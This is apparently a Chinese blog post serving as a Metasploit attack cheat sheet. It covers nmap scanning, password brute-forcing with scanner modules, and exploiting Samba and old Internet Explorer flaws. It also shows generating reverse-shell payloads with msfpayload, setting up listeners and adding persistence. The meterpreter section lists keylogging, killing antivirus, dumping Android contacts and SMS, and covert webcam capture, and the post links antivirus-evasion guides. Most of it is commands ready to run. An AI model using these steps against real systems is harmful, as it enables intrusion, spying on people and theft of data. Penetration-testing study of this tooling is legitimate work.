第一部分:基本使用

1、在kali中metasploit默认使用postgresql作为它的数据库;

/etc/init.d/postgresql start

开机自启:update-rc.d postgresql enable。

2、初次使用数据库服务时需初始化,以便创建系统默认的数据库及数据库用户;

msfdb init(默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)

成功初始化会输出如下信息:

3、启动metasploit:msfconsole
4、查看数据库连接状态

5、工作台相关指令:

workspace  -a test      新建test工作台

workspace  -d test      删除test工作台

workspace  test       切换到test工作台

6、获取帮助信息

7、使用nmap(支持扫描域名,不过会很慢,不推荐)

db_nmap  -sS  123.110.112.210   扫描主机
db_export 1.xml     导出扫描结果(导出到当前工作路径)
db_import 1.xml     导入扫描结果
hosts          查看扫描结果

第二部分:信息收集模块

nmap探测开放端口和服务

-sS  sync半开扫描
-Pn  不使用ping方式探测主机
-A   探测服务类型
-O   探测操作系统类型

常用组合:

db_nmap  -sS  -Pn  -A  -O  123.110.111.210

 查看扫描结果:

 db_services    查看扫描结果

扩展组合:

nmap  -T4  -A-v      深入式扫描
nmap -sS -sU -T4 -A-v  同上,且扫UDP
nmap -p 1-65535 -T4 -A-v  扫描所有TCP端口
nmap -T4 -A-v -Pn    不使用ping
nmap -T4 -A-v -sn    使用ping
nmap -T4 -F        快速扫描
nmap -sV -T4 -O -F --version-light    加强版快速扫描
nmap -sn --traceroute    快速路由跟踪扫描
nmap -sS -Pn -A -oX subnet1 123.110.221.120/24  将扫描结果导出为subnet1.xml

模块使用方式示例:

search  telnet    搜索相应模块
use auxiliary/scanner/telnet/telnet_version    使用相应模块
show options                查看可设置的选项
set RHOST   123.120.111.210/24         设置IP地址
set THREADS  50             设置线程数
run(或exploit)                开始扫描

常用扫描模块:

auxiliary/scanner/telnet/telnet_version     扫描开放了telnet的主机
auxiliary/scanner/ssh/ssh_version         扫描ssh主机
auxiliary/scanner/mssql/mssql_ping        扫描mssql主机
auxiliary/scanner/ftp/ftp_version         扫描ftp主机
auxiliary/scanner/ftp/anonymos           扫描ftp匿名登录
auxiliary/scanner/discovery/arp_sweep       扫描局域网内有哪些主机存活
auxiliary/scanner/http/dir_scanner        扫描网站目录
auxiliary/scanner/snmp/snmp_login        扫描snmp主机

 第三部分:密码爆破

爆破方式,利用密码文件进行爆破,使用方式同上,只是设置选项常用的多了两个,可通过show  options查看到

set  USERNAME  root            设置需要爆破的用户名
set PASS_FILE   /root/pass.txt        设置爆破需要调用的字典文件
set USER_FILE  /root/user.txt        通过文件调用需要爆破的用户名

常用模块:

auxiliary/scanner/ssh/ssh_login      ssh密码爆破
auxiliary/scanner/http/tomcat_mgr_login    tomcat密码爆破
auxiliary/scanner/mysql/mysql_login      mysql口令爆破
auxiliary/scanner/smb/smb_version     samba爆破

第四部分:漏洞利用

linux  samba漏洞

search   samba    
use linux/samba/lsa_transnames_heap
show payloads    查看载荷
set payload linux/x86/shell_bind_tcp    设置载荷,这是linux的一个反弹shell
set Lport 8080        
set RHOST 192.168.2.116
exploit

dll  注入漏洞

针对windows低版本的浏览器(IE6)通过访问一个指定的URL地址,从而留下一个会话,利用此会话可以查看被攻击对象的详细信息

use   exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/bind_tcp
show options
set SRVHOST 192.168.1.211
set LHOST 192.168.1.211    设置本地地址
set RHOST 192.168.1.127    设置要攻击的机器的地址
set LPORT 1215          本地监听的端口

实战举例:

search   ms12-004    找到漏洞的编号
show options      
use exploit/windows/browser/ms12-004_midi    利用此漏洞,从名字可以看出是和浏览器相关的一个漏洞
set PAYLOAD windows/meterpreter/reverse_tcp    生成一个windows下的反弹shell
set LHOST 192.168.1.102        
show targets      
exploit        开始攻击

Windows相关漏洞编号及相关信息可在此网站寻找:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-023

metasploit常用漏洞利用命令:

show  targets    显示目标(OS版本)
set target <target_number>   设置目标编号
exploit        开始
session -l <ID>   列出会话
session -i <ID>   选择会话
session -k <ID>   结束会话
<ctrl> z    把会话放到后台
<ctrl> c    结束会话
show  auxiliary    显示辅助模块
use  <auxiliary  name>  使用辅助模块
set   <option  name>  <option>  设置选项
run    运行

第五部分:shell_code

Windows:

1、生成shell_code:(可直接在终端shell下操作)

msfpayload  windows/meterpreter/reverse_tcp  LHOST=192.168.0.213  LPORT=1121  X  >  /root/shell.exe

2、侦听shell_code:

新开一个窗口

msf> use  exploit/multi/handler
set payload windows/meterpreter/reverse_tcp    设置反弹shell
set LHOST 192.168.12.76    设置源IP
set LPORT 1127         设置源端口
exploit             发起侦听
或者
msfcli exploit/multi/handler  PAYLOAD=windows/meterpreter/reverse_tcp  LHOST=192.168.12.76  LPORT=1127  E
一条语句搞定

3、将生成的shell.exe传到被攻击的机器上执行一下

4、控制端查看是否收到反弹shell

==================================================

Linux:
同上,改模块为:linux/x86/meterpreter/reverse_tcp
java:(shell后缀名为jar)
同上,改模块为:java/meterpreter/reverse_tcp
php:
同上,改模块为:php/meterpreter/reverse_tcp
android:(shell后缀名为apk)
同上,改模块为:android/meterpreter/reverse_tcp
安卓常用命令:
dump_contacts      导出电话
dump_sms        导出信息
webcam_list        可以看到有几个摄像头
-i 1            选择后摄像头
webcam_stream      开启摄像头
webcam_snap       拍照截屏

meterpreter基本命令:

截屏:screenshot
获取系统运行的平台:sysinfo
获取键盘记录:keyscan_start或keyscan_dump
查看进程:ps
切换进程:migrage 1774
记录键盘输入:run post/windows/capture/keylog_recorder
进程迁移:run post/windows/manage/migrate
查看目标机所有流量:run packetrecorder -i 1
提取系统信息:run scraper
关闭杀毒软件:run killav
查看主机是真实机还是虚拟机:run checkvm
添加用户:run getgui
显示远程机器的防火墙规则:run getcountermeasure

免杀系列

shellter免杀:参见  https://blog.csdn.net/sufeiboy/article/details/65939342

veil和msfvenom免杀   参见:https://blog.csdn.net/wyf12138/article/details/79825833

第六部分:持久控制

run  persistence  -X  -i     -p    -r  192.168.12.123    当你生成的exe后门在客户机上正在执行的时候,通过这条命令代表将其加入到自启动里面,并每50秒检查一次
msf> use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp    设置反弹shell
set LHOST 192.168.12.76    设置源IP
set LPORT          设置源端口
exploit             发起侦听

./msfpayload   win32_reverse  LHOST=192.168.1.117  LPORT=444  R  | ./msfencode  -b  "\x00\x0a\x0d"  //Windows版

./msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode -b "\x00\x0a\x0d\x20"          //Linux版
 以上命令的作用是生成一个反弹shell,并且对其进行编码,把16进制的\x00\x0a\x0d给排除掉,主要是在缓冲区溢出的时候能够用到

添加入站规则,非本机127.0.0.1访问本机的4444和13327都DROP掉,通常用于本机测试

• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP

• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP

metasploit篇的更多相关文章

  1. TGL站长关于常见问题的回复

    问题地址: http://www.thegrouplet.com/thread-112923-1-1.html 问题: 网站配有太多的模板是否影响网站加载速度 月光答复: wp不需要删除其他的模板,不 ...

  2. metasploit 渗透测试笔记(基础篇)

    0x00 背景 笔记在kali linux(32bit)环境下完成,涵盖了笔者对于metasploit 框架的认识.理解.学习. 这篇为基础篇,并没有太多技巧性的东西,但还是请大家认真看啦. 如果在阅 ...

  3. Metasploit学习指南—基础篇

    Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面: Metasploit的核心 基础的配置 M ...

  4. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  5. metasploit 渗透测试笔记(meterpreter篇)

    0x01 背景 meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式. 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和me ...

  6. Metasploit 内网渗透篇

    0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...

  7. Metasploit域渗透测试全程实录(终结篇)

    本文作者:i春秋签约作家——shuteer 前言 内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里.于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴 ...

  8. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  9. 移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit

    在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...

随机推荐

  1. 关于Java的多线程Runnable的个人理解(基础,不讲概念)

    背景说明: 在学了Java的多线程(继承Thread,Runnable)以后,我出于好奇,就想知道java到底是不是多线程的,不能它说自己是多线程就是多线程,自己想验证一下,于是我就想测试一下,但继承 ...

  2. QT--HTTP图片下载器

    QT--HTTP图片下载器 1.http使用前提 QT       += core gui network    //必须加上network 2.必须头文件 #include <QNetwork ...

  3. Python比较配置文件

    工作中最常见的配置文件有四种:普通key=value的配置文件.Json格式的配置文件.HTML格式的配置文件以及YAML配置文件. 这其中以第一种居多,后三种在成熟的开源产品中较为常见,本文只针对第 ...

  4. SQL Serve里DBA要去改变的3个配置选项

    用安装向导安装了全新的SQL Server,最后你点击了完成按钮.哇噢~~~现在我们可以把我们的服务器进入生产了! 抱歉,那并不是真的,因为你的全新SQL Server默认配置是未优化的,一个合格的D ...

  5. 子传父flase注意点

    1==>在子传递数据给父亲的时候, closeBottom(){ this.$emit("closeBottom",false) } false不加引号. 2==>

  6. MongoDB学习笔记(二、MongoDB查询)

    目录: MongoDB数据类型 MongoDB新增语法 MongoDB查询语法 MongoDB查询选择器 MongoDB关联查询 MongoDB数据类型: MongoDB新增语法: 语法:db.col ...

  7. Apriori关联分析详解

    ------------恢复内容开始------------ 一. Apriori关联分析概述 选择物品之间的关联规则也就是要找出物品之间的关系,要找到这种关系有两步 找出频繁一起出现的物品集的集合, ...

  8. 反射(hasattr和getattr和setattr和delattr)

    目录 一.反射在类中的使用 1.1 应用 二.反射在模块中的使用 2.1 前言 2.2 反射机制 2.2.1 getattr() 2.2.2 hasattr(object, name) 2.2.3 s ...

  9. 第04组 Beta冲刺(4/5)

    队名:new game 组长博客 作业博客 组员情况 鲍子涵(队长) 过去两天完成了哪些任务 地图移动 接下来的计划 素材和脚本相连 引入声音素材 还剩下哪些任务 让游戏本体运行 遇到了哪些困难 时间 ...

  10. 关于Unity中AI随机巡逻障碍物预判与快速运动时物理穿透的思考

    如果不想用Unity的导航系统,很多时候就要解决如何预判前进路径中的障碍物问题,之前也看过一些非常经典的寻路算法例如AStar寻路,虽然也可实现功能,但总感觉有些小题大做.寻路算法大多数都是为了得出最 ...